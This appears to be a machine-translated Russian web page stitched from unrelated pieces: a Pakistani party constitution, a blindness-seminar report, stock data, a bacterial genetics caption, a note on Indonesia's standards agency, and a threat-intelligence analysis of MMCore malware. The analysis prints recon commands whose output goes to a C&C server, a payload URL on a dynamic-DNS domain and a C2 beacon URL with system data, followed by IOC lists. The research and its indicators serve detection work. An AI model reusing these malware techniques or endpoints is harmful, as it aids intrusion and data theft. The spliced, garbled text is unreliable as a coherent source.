5. Заработная плата и надбавки, выплачиваемые депутатами Партии и членами местных органов власти, считаются партийными деньгами. Соответствующий партийный комитет устанавливает размер заработной платы и пособий членов.

6.Члены партии, избранные в местные органы, такие как зиллах, техсил и советы профсоюзов, должны действовать в рамках соответствующего партийного комитета или отделения партии. Они должны поддерживать тесные повседневные контакты со своими избирателями и массами и защищать свои интересы в таких выборных органах. Они должны регулярно отчитываться о своей работе перед избирателями и народом и запрашивать их предложения и советы. Работа в таких местных органах должна сочетаться с интенсивной массовой деятельностью на улице.

7.Выдвижение партийных кандидатов для избрания в парламент, законодательные органы или советы подлежит утверждению Центральным комитетом. Окружные комитеты должны разработать правила, регулирующие выдвижение кандидатов от партии в советы зиллах, техсил и профсоюзов.

СТАТЬЯ 20

Членов партии, работающих в массовых организациях

Члены партии, работающие в массовых организациях, и их руководители объединяются во фракции или фракционные комитеты и действуют под руководством соответствующего партийного комитета.Они всегда должны стремиться укреплять единство, массовую основу и боеспособность соответствующих массовых организаций.

СТАТЬЯ 21

Внутренние обсуждения

1. Для сплочения партии полезны и необходимы свободные и деловые обсуждения партийной политики в различных организациях партии. Это неотъемлемое право членов партии, вытекающее из внутрипартийной демократии. Но бесконечные дискуссии по вопросам партийной политики, парализующие единство и волю партии, были бы грубым злоупотреблением внутрипартийной демократией.

2. Внутрипартийная дискуссия организуется ЦК в общепакистанском масштабе:

.


(a) Когда сочтет это необходимым.

(b) Когда по важному вопросу партийной политики нет достаточного твердого большинства внутри Центрального Комитета.

(c) Когда внутрипартийное обсуждение в масштабе всего Пакистана требует провинциальные комитеты, представляющие одну треть от общего числа членов партии.

3. Внутрипартийное обсуждение проводится под руководством Центрального Комитета, который формулирует обсуждаемые вопросы. Центральный комитет, который руководит дискуссией, устанавливает порядок ее проведения.


СТАТЬЯ 22

Дискуссия о подготовке к съезду и конференциям партии

1. За два месяца до съезда партии Центральный Комитет выносит проект постановления на обсуждение всех подразделений партии.Со стороны провинциальных комитетов обязательно переводить его на соответствующие языки и направлять во все отделения необходимое количество экземпляров в кратчайшие сроки после его выпуска Центральным комитетом. Поправки к постановлению будут отправлены непосредственно в ЦК, который представит свой отчет по ним перед съездом партии.
2. На каждом уровне Конференция проводится на основе отчетов и резолюций, представленных соответствующими комитетами.


СТАТЬЯ 23

Устав

Центральный Комитет может устанавливать правила и подзаконные акты в соответствии с Уставом партии и в соответствии с ним. Провинциальные комитеты, при условии утверждения Центральным комитетом, могут также устанавливать правила и подзаконные акты в соответствии с Уставом партии и в соответствии с ним.


СТАТЬЯ 24

Поправка

Только съезд партии может вносить поправки в Устав партии.Уведомление о предложениях о внесении поправок в Конституцию должно быть сделано за два месяца до указанного съезда партии.

Отчет о деятельности

Сиевуш | Тренинг по лидерству Duskin в Японии

С 29 ноября по 1 декабря 2016 года при поддержке Министерства здравоохранения и социальной защиты населения Республики Таджикистан и финансовой поддержке Всемирной организации здравоохранения прошел семинар на тему: «Реабилитация слепых и слабых». Видящие лица »с целью повышения эффективности Педагогико-методического психологического комитета (ПМПК) и других детских садов, работающих для слепых.

На семинаре присутствовало

работников ПМПК, представителей детских садов, местных НПО и других международных организаций.

Семинар изначально был разработан для улучшения реабилитационной работы организации, которая в будущем будет работать с людьми с нарушениями зрения в социальной реабилитации. 61 участник прослушал презентации, предложенные тренерами, участвующими в этом семинаре.

Были предложены презентации по следующим темам:

«Причина слепоты и глазных болезней»,

«Раннее вмешательство для дошкольников и улучшение работы с этими детьми», «Общение для улучшения коммуникативных навыков со слепым ребенком, -Понятие об их слепоте и образовании -»,

«История Брайля, системы Брайля»,

«Основы 5 чувств слепого ребенка: зрение, слух, осязание, обоняние и вкусовые качества., «« Совершенствование навыков ориентации и мобильности,

»

«Правила со зрячим-проводником»,

«Навыки повседневной жизни»,

«Вспомогательная техника для слепых»,

«Внедрение инклюзивного образования для детей с ограниченными возможностями»,

«Установление инвалидности»,

«Составление документов о нетрудоспособности по установленным государством льготам, составление документов с учетом слепых в общественных организациях (выдача карт, выдача членских карт и т. Д.).). »

Моя задача заключалась в том, чтобы представить слепым и слепым коммуникативные навыки, как улучшить слух, обоняние, вкусовые качества и сенсорные навыки слепого ребенка, ориентацию и подвижность, навыки повседневной жизни и информацию о вспомогательных технологиях для слепых и слабых зрение. В основном я пытался сделать свои презентации доступными для участников, предлагая им повязать глаза, которые я использовал в качестве учебных пособий, чтобы они могли глубоко понять, что такое слепота и как они могут дальше оказывать поддержку слепым детям.В связи с этим мы считаем, что подобный семинар дал нам очень эффективный результат. Однако многие участники не представляли, что слепой ребенок может быть независимым.

ФИЛИП МОРРИС (ПАКИСТАН) ЛИМИТЕД: цена акций PMPK | PK0018201019

Продажи 2019 13 334 млн 80,0 М 80,0 М
Чистая прибыль 2019 -1 980 млн -11,9 млн -11,9 млн
Чистый долг 2019 1 027 млн ​​ 6,16 М 6,16 М
Коэффициент P / E 2019 -77,7x
Урожайность 2019
Продажи 2020 16 596 млн 99,6 млн 99,6 млн
Чистая прибыль 2020 1 765 млн 10,6 млн 10,6 млн
Чистая денежная позиция 2020 4947 млн ​​ 29,7 млн ​​ 29,7 млн ​​
Коэффициент P / E 2020 88,1х
Урожайность 2020
Капитализация 56 777 М 340 млн 341 M
EV / Продажи 2019 11,6x
EV / Продажи 2020 5,18x
Кол-во сотрудников 721
Свободное плавание 0,51%

кодируемых плазмидой белков RepA, специфически авторепрессирующих отдельные опероны repABC в многокомпонентном Rhizobium leguminosarum bv.trifolii Геном

Рисунок 1.

Транскрипционная активность repABC оперонов Rhizobium leguminosarum bv. trifolii плазмиды TA1: (A) pRleTA1a, (B) pRleTA1b, (C) pRleTA1c и (D) pRleTA1d.

На левой панели показана схематическая генетическая организация кассет repABC . Белые стрелки обозначают гены repA , repB и repC , а белые пунктирные стрелки обозначают гены repA .Черные точки показывают положение сайтов parS . Идентифицированные промоторы оперонов repABC были отмечены серыми прямоугольниками. Соответствующие фрагменты ДНК, необходимые для идентификации конкретного промотора, определения структуры оперона, а также их последовательные делеции, используемые для исследований регуляции оперона, которые были клонированы в репортер pMPK и векторы pBBR1MCS-5, были показаны в виде черных линий с положениями, указанными относительно репа . стартовый кодон. Для номенклатуры конструкций на основе pMPK- и pBBR-1MCS5 применялась следующая система: e.грамм. в рекомбинантной плазмиде pMa / A2 первые две буквы (pM) означают сокращение имени вектора (в данном случае pMPK), следующая маленькая буква «a» означает, что это производное от кассеты pRleTA1a repABC , за которой следует заглавная буква A. косая черта означает, что клонированный фрагмент содержит весь ген repA (в случае конструкций pMa-d / ABC2 клонированные фрагменты включают полные гены repA и repB и фрагмент repC , слитый с lacZ ).Соответственно, pBa / A2 означает тот же фрагмент, реклонированный в pBBR-1MCS5. Правые панели представляют активности β-галактозидазы соответствующих транскрипционных слияний lacZ , измеренные в A . tumefaciens и выражается в единицах Миллера. Каждое значение (со стандартным отклонением — расширенные столбцы) представляет собой среднее значение по крайней мере трех независимых измерений.

Подробнее »

ISO — BSN — Национальное агентство по стандартизации Индонезии (Badan Standardisasi Nasional)

Институт BSN был усилен принятием Закона No.20/2014 о стандартизации и оценке соответствия; Постановление правительства № 34/2018 о национальной системе стандартизации и оценки соответствия; Указ президента № 4/2018 о Национальном агентстве по стандартизации Индонезии; и председатель Постановления BSN № 10/2018 об организации и управлении Национального агентства по стандартизации Индонезии. BSN — это государственное учреждение, но не департамент или министерство, отвечающее за стандартизацию, оценку соответствия, аккредитацию и метрологию в Индонезии.Агентство взяло на себя функции и обязанности Совета по стандартизации Индонезии (Dewan Standardisasi Nasional — DSN). Национальное агентство по стандартизации Индонезии (Badan Standardisasi Nasional — BSN) было создано в 1997 году в соответствии с Указом Президента 13/1997 и усилено Указом Президента № 166/2000.

Организация выполняет следующие функции:

  1. Для оценки и разработки национальной политики в области национальной стандартизации, оценки соответствия, аккредитации и метрологической деятельности в Индонезии
  2. Для координации программ и мероприятий по реализации задач BSN
  3. Для ускорения и расширения возможностей заинтересованных сторон в реализации национальной программы по стандартизации, оценке соответствия, аккредитации и метрологии в Индонезии
  4. Организовать национальное и международное сотрудничество по стандартизации, оценке соответствия, аккредитации и метрологии
  5. Организовывать продвижение, исследования и деятельность по наращиванию потенциала, а также общие административные функции, связанные со стандартизацией, оценкой соответствия, аккредитацией и метрологической деятельностью в Индонезии.
  6. В качестве органа уведомления и справочного центра по реализации Соглашения ТБТ-ВТО

Примечание: Обязанности и ответственность за деятельность, связанную с оценкой соответствия и аккредитацией, выполняет Национальный орган по аккредитации (KAN).

Анализ атак MMCore на Южную Азию

MMCore — интересный вредоносный файл, который расшифровывает и запускает вредоносный файл в памяти после того, как загрузчик его загрузит. Вредоносный файл, также известный как BaneChant, был впервые обнаружен fireeye в 2013 году. Кроме того, Forcepoint также обнаружил некоторые атаки на вредоносные файлы в начале 2017 года.

Активность вредоносных файлов в основном активна в Азии, включая Китай, Пакистан, Афганистан, Непал и т. Д.Однако Forcepoint также упомянул, что атака затронула также Африку и США. Целями атаки в основном являются военные объекты, СМИ, университеты и т. Д.

Атака восходит к 2013 году, до 2020 года она существует. Хотя технология сильно не изменилась, есть некоторые интересные изменения. Кроме того, с точки зрения атрибуции, мы полагаем, что вредоносный файл связан с некоторыми организациями APT-атак в Индии, включая белых слонов, Ман Линхуа, Конфуция и т. Д.Кроме того, мы также случайно обнаружили неэкспонированное атакующее оружие, one. чистая RAT.

Причина анализа — сообщение в Twitter исследователя безопасности:

Хотя мы собирали такой образец бесчисленное количество раз и много раз обнаруживали существование этого вредоносного файла во время атаки, мы не проводили систематического анализа и отслеживания этого вредоносного файла. Поэтому на этот раз мы решили копнуть глубже, чтобы отследить этот интересный вредоносный файл.

1. Анализ загрузчика MMCore

В качестве примера для анализа возьмем следующий файл:

Общая функция:

Против песочницы: сначала получите интерфейсное окно, затем проверьте, изменяется ли интерфейсный порт каждую 1 секунду, если он не изменяется, затем обнаружение бесконечного цикла:

Обнаружение антипрограммного обеспечения: обнаружение модуля snxhk.dll (соответствующие файлы от поставщика средств безопасности Avast), если есть, то задержка на 2 минуты:

Расшифруйте URL-адрес загрузки, затем загрузите и выполните в памяти:

Способ хранения:

После расшифровки:

Скачать и выполнить:

Шелл-код находится по смещению + 0x14:

2.Анализ MMCore

Сначала определите два антипрограммных процесса «avp» и «bdagent» и завершите работу, если обнаружите:

Затем используйте два раунда xor для расшифровки, чтобы получить dll:

Расшифрованная dll имеет возможность самозагрузки:

В dllmain сначала определите, является ли загруженный процесс rundll32.exe, если нет, выполните операцию установки троянца:

Затем установите, сначала найдите себя.Раздел _code, в котором хранится PE-файл:

Освободите PE-файл в C: \ ProgramData \ DailyUpdate \ opendrive64.dll:

Освободите файл OneDrive (2) .lnk в каталоге запуска, чтобы обеспечить постоянство. Ярлык lnk указывает на rundll32.exe для загрузки C: \ ProgramData \ DailyUpdate \ opendrive64.dll и вызова его функции IntRun:

Запустите rundll32.exe, чтобы загрузить C: \ ProgramData \ DailyUpdate \ opendrive64.dll и вызовите его функцию IntRun:

Функция этого файла аналогична загрузчику. Основная функция — извлечь полезную нагрузку из dailysync.zapto.org/fancycumti/combidation/scale.jpg и загрузить ее, чтобы убедиться, что в самой полезной нагрузке нет файлов. Каждый раз при загрузке троян должен вытаскивать пайлаод из сети. . Его функция такая же, как и у загрузчика, и код аналогичен, поэтому подробно разбираться не будет.

Приступим к реализации настоящей вредоносной нагрузки.

Сначала создайте Mutex 44cbdd8d470e88800e6c32bd9d63d341, чтобы предотвратить повторную операцию:

Выполните команду для сбора полученной информации и загрузите полученную информацию на C&C сервер:

cmd.exe / q / c список задач

cmd.exe / q / c ipconfig / все

cmd.exe / q / c каталог C: \

cmd.exe / q / c каталог D: \

cmd.exe / q / c директория E: \

cmd.exe / q / c каталог F: \

cmd.exe / q / c dir G: \\

cmd.exe / q / c каталог H: \

Собранная информация будет храниться под временным троянцем nnp [4 цифры случайный] .tmp:

Затем он будет считан в память, а затем удален файл, а затем получена другая информация и затем склеен, склеенная информация выглядит следующим образом:

Затем начните общаться с C&C сервером:

Получите инструкции, выполните следующие операции в соответствии с разными инструкциями:

Соотношение между командами и функциями выглядит следующим образом:

Большое количество образцов MMcore было получено из нашей библиотеки образцов.Мы провели индуктивный анализ этих образцов и нашли несколько интересных правил, которые вкратце изложены следующим образом:

1. Происхождение названия

Вредоносный файл впервые получил название MMcore в качестве аналитического отчета зарубежной охранной компании Forcepoint, но в статье не объясняется происхождение этого названия. После нашего отслеживания было обнаружено, что в исходной версии MMcore имя мьютекса было «MM-Core-Running», поэтому мы предположили, что Forcepoint назвал вредоносный файл MMCore:

С тех пор автор внес некоторую путаницу и изменил взаимоисключающее имя, например M1M-C1o1r1e-R1u1n1n1i1n1g1:

До сих пор нет тени MMCore вообще:

2.Смена знака

Кроме того, из подробного анализа MMCore, приведенного выше, можно обнаружить, что вредоносный файл имеет очевидную версию и метку версии:

Мы перечисляем образцы этикеток и найденную информацию о версии, конкретная информация выглядит следующим образом:

Обнаружено, что этикетка со временем меняется. Номер текущей последней версии — 2.5, а название ярлыка — FreshPass.

3.Суммарное кодирование алгоритма дешифрования

Основной особенностью MMCore является сохранение шелл-кода в загруженном файле jpg, хотя некоторые файлы jpg вообще не имеют логотипа jpg:

Существует две основных кодировки шелл-кода, Шиката га най и обычная кодировка. Код Shikata ga nai — это часто используемый код, чтобы избежать убийственного мягкого обнаружения, и шелл-код в Sea Lotus также использует этот код.

Расшифровка одиночного xor:

Расшифровка двух xor:

Множественное дешифрование xor:

  1. Настройки сервера C&C

Группы атак MMCore предпочитают динамические доменные имена.Используемые динамические доменные имена включают ddns.net, zapto.org, no-ip.org и redirectme.net.

Центр аналитики угроз Tencent Security однажды опубликовал статью «Предполагаемые последние атакующие действия группы White Elephant на Пакистан, Бангладеш и другие страны Южной Азии» в 2019 году. В статье упоминался анализ MMCore:

IP этого действия совпадает с IP-адресом белого слона, анализируемого в этой статье.

Кроме того, анализ RAT в статье, опубликованной Чи Анксином «Анализ атаки на Пакистан с использованием уязвимости программного обеспечения InPage организации BITTER APT против Пакистана и банды», согласуется:

Итак, мы относим вредоносное ПО к соответствующим организациям в Индии. Хотя пока не ясно, является ли MMCore независимой группой, она по-прежнему принадлежит таким организациям, как White Elephant, Man Linghua, donot и Confucius.Но можно сказать наверняка, что эти организации будут использовать вредоносное ПО MMcore для атак в некоторых важных сферах деятельности, по крайней мере, в том, что MMCore делится технологиями с этими организациями.

Кроме того, есть также открытие, которое все еще основано на последнем отчете Центра информации о безопасности и угрозах Tencent в прошлом году о последней атаке, совершенной подозреваемой организацией «Белый слон» против Пакистана, Бангладеш и других стран Южной Азии. Файловая приманка использует для атаки документ с макросами.Мы также нашли похожие файлы макросов в библиотеке:

PakCERT-Snapchat взломан пакистанской Hacker Group.doc (92ee6729747e1f37dcae7b36d584760d)

Вредоносный файл, выпущенный документом, представляет собой RAT, записанный в .net:

.net RAT — это ранее нераскрытая RAT и одно из обычных атакующих средств организации.

PDB файла: d: \ KL \ rav \ rav \ obj \ Release \ rav.pdb

Точно так же есть другая информация pdb: d: \ startnew \ JackSparow \ WinStore \ WinStore \ obj \ Release \ WinStore.pdb

Основные функции этого RAT включают:

Расшифровка C2:

Результат расшифровки: «http://188.241.68.127/pmpk/», параметры сшивания получают полный URL-адрес, выполняют команду systeminfo для получения системной информации и сшивают до конца URL-адреса, URL-адрес выглядит следующим образом

http: // 188.241.68.127 / pmpk / blue.php? MNVal = JNENIEYOU-PC & FNVal = ConnInfo & DVal = 17_

Арсенал атак, организованный APT, постоянно развивается, включая методы атак, инструменты разработки, языки и т. Д., И будут постоянно добавляться новые арсеналы атак. Некоторые из раскрытых в настоящее время арсеналов атак могут быть лишь верхушкой айсберга в реальных атаках, но по мере того, как отслеживание углубляется и обнаруживается все больше и больше атак, будут раскрыты более подробные сведения.

Кроме того, приписывание атакующих действий всегда было головной болью. Что касается владения MMCore, у нас нет полных доказательств того, что он должен принадлежать организации, но, по крайней мере, можно объяснить, что он имеет как минимум частичное совпадение инфраструктуры и повторное использование арсеналов атак с некоторыми организациями в Индии. . Это также связано со сложными отношениями между многими APT-организациями в Индии.

Мы анализировали не один раз. Есть определенные ассоциации среди организаций Manlinghua, White Elephant, Confucius, donot и т. Д., и не исключено, что они принадлежат к одной и той же большой организации. Мы продолжим отслеживать активность атак с помощью этого вредоносного файла, чтобы сделать атрибуцию более четкой.

Tencent Security Threat Intelligence Center рекомендует важным предприятиям и правительственным учреждениям Китая сохранять повышенную бдительность в отношении атак APT. Вы можете обратиться к следующим предложениям по повышению безопасности информационных систем:

1. Рекомендуется, чтобы обучающий персонал по управлению сетью важных учреждений не открывал случайным образом вложения электронной почты из неизвестных источников.Рекомендуется не открывать вложения, если цель письма и отправитель неизвестны.

2. Корпоративным пользователям рекомендуется использовать систему управления безопасностью терминалов Tencent Security T-Sec для исправления уязвимостей и своевременной установки системных исправлений, чтобы снизить риск атаки из-за уязвимостей. Также обратите внимание, что при открытии документов Office не включайте код макроса.

3. Корпоративным пользователям рекомендуется развернуть Tencent T-Sec Advanced Threat Detection System (Tencent Yujie) для обнаружения хакерских атак.

Расширенная система обнаружения угроз T-Sec от Tencent — это уникальная система модели анализа угроз и обнаружения вредоносных программ, разработанная на основе возможностей безопасности Tencent и опирающаяся на массивные данные Tencent в облаке и в конечном итоге. Эта система может эффективно обнаруживать различные вторжения в корпоративные сети со стороны хакеров, своевременно преодолевать риск атаки. Ссылка для справки: https://cloud.tencent.com/product/nta

Другие рекомендуемые шаблоны

1 、 IOC

MMCore :

fa5ca2cba0dab28fa0fb93a9bd7b1d83

eecbfa73955218181b0bc27c9491bd03

0647bac99b6a8407795134f5d67d4590

0932b703849364ca1537305761bc3429

9e73734ac2ab5293c0f326245658b50e

b5c1b0137181cf818a46126ca613365e

263b6c350cbf7354b99139be17c272d3

9d7953cd0e67e6ebad049faba242a74b

30e519573d04a2e1505d8daafb712406

320e29f867ae579a9db0d04e998e5459

6303059930cfb785c5cf0af1512b2cbe

5024e86b00012a202d6aa55d5502b9e0

86e3e98c1e69f887e23d119d0d30d51c

5a489fb81335a13dff52678bbce69771

9782e1f021fff363b4a6ee196e1aa9cb

a469f3f7eda824bafb8e569deb05b07d

af501dfd35e7d04afd42d9178601a143

851ea11fa3cf5ca859dacf47d066d6df

bac7c5528767d86863532bd31bdd12e2

c0baa532636ecca97de85439d7ae8cb3

eecbfa73955218181b0bc27c9491bd03

d692a057330361f8f58163f9aa7fc3a8

f946ea7d9640023d06c2751dde195eb8

03fa06ac91685e0df4c635339e297e04

0490e54e4cce81d2ab24a6e7787fa595

060d13afdb2212a717666b251feda1d3

5a477d4574983c2603c6f05ff5bae01e

7d19f3547dc900eba548ee5ceb84edae

baa12a311b9029f33c4fc6de6fde06b0

bddb10729acb2dfe28a7017b261d63db

f3a7d55ee47f2b6bdf7ed6259a6f9496

423dbab9d632a1fc318f66dfc370ac28

b692a0f56d2462ba0ec50374c653b6e8

b3286791b22f515ab8d7f8866a154e9c

2826c9c6c25368f773c0e448572585d0

1e8915ccb433ce0406a98faa94db2237

8b2b4bed6db31739686531d11c9e98aa

c4cee8d6f30127938681c93dd19f2af4

0922a6d3d9d9a774eeaa075056e

b4db105c90d2f2659fd4e930e0b7ad5b

65067f8c60cbc4ee459641c3b704e180

dailysync.zapto.org

abtprinting.com

adworks.webhop.me

ichoose.zapto.org

theglobalnews24x7.com

timpisstoo.hol.es

Burningforests.com

account-support.site

noitfication-office-client 890m.com

mockingbird.no-ip.org

useraccount.co

nayanew1.no-ip.org

nakamini.ddns.net

adrev22.ddns.net

hawahawai123.no-ip.biz

waterlily.ddns.net

pressnorth.net

officeopenxml.co

jospubs.com

davidjone.net

themoondelight.com

g-img.no-ip.biz

adnetwork33.redirectme.net

plansecure.org

kibber.no-ip.org

.net RAT:

0464acc5f3ea3d907ab9592cf5af2ff4

e223ff5a6a961a6c3ff30811e8a2ceb5

517c2c6e5e0f27f6f9c759a04a2bf612

b3a2e376a9a1f9e4d597eb8509aed57a

c69cd5894bdf4c92fcfb324e7db83ce3

f8da3eab85def2cdedd4227eec3114bb

73eb441bcf27a1ee4b1f5c1f78139b3b

5b1d7c4cea8fcb96696a6e9318d36a45

2cc9cd56b2e4c17b6b63bad4dfc5bc10

188.241.68.127

91.211.88.71

2. Справочные материалы

https://s.tencent.com/research/report/711.html

https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/

https://www.fireeye.com/blog/threat-research/2013/04/trojan-apt-banechant-in-memory-trojan-that-observations-for-multiple-mouse-clicks.html

https://www.forcepoint.com/blog/x-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose

https://twitter.com/KorbenD_Intel/status/1237121311450652672

.

Написать ответ

Ваш адрес email не будет опубликован. Обязательные поля помечены *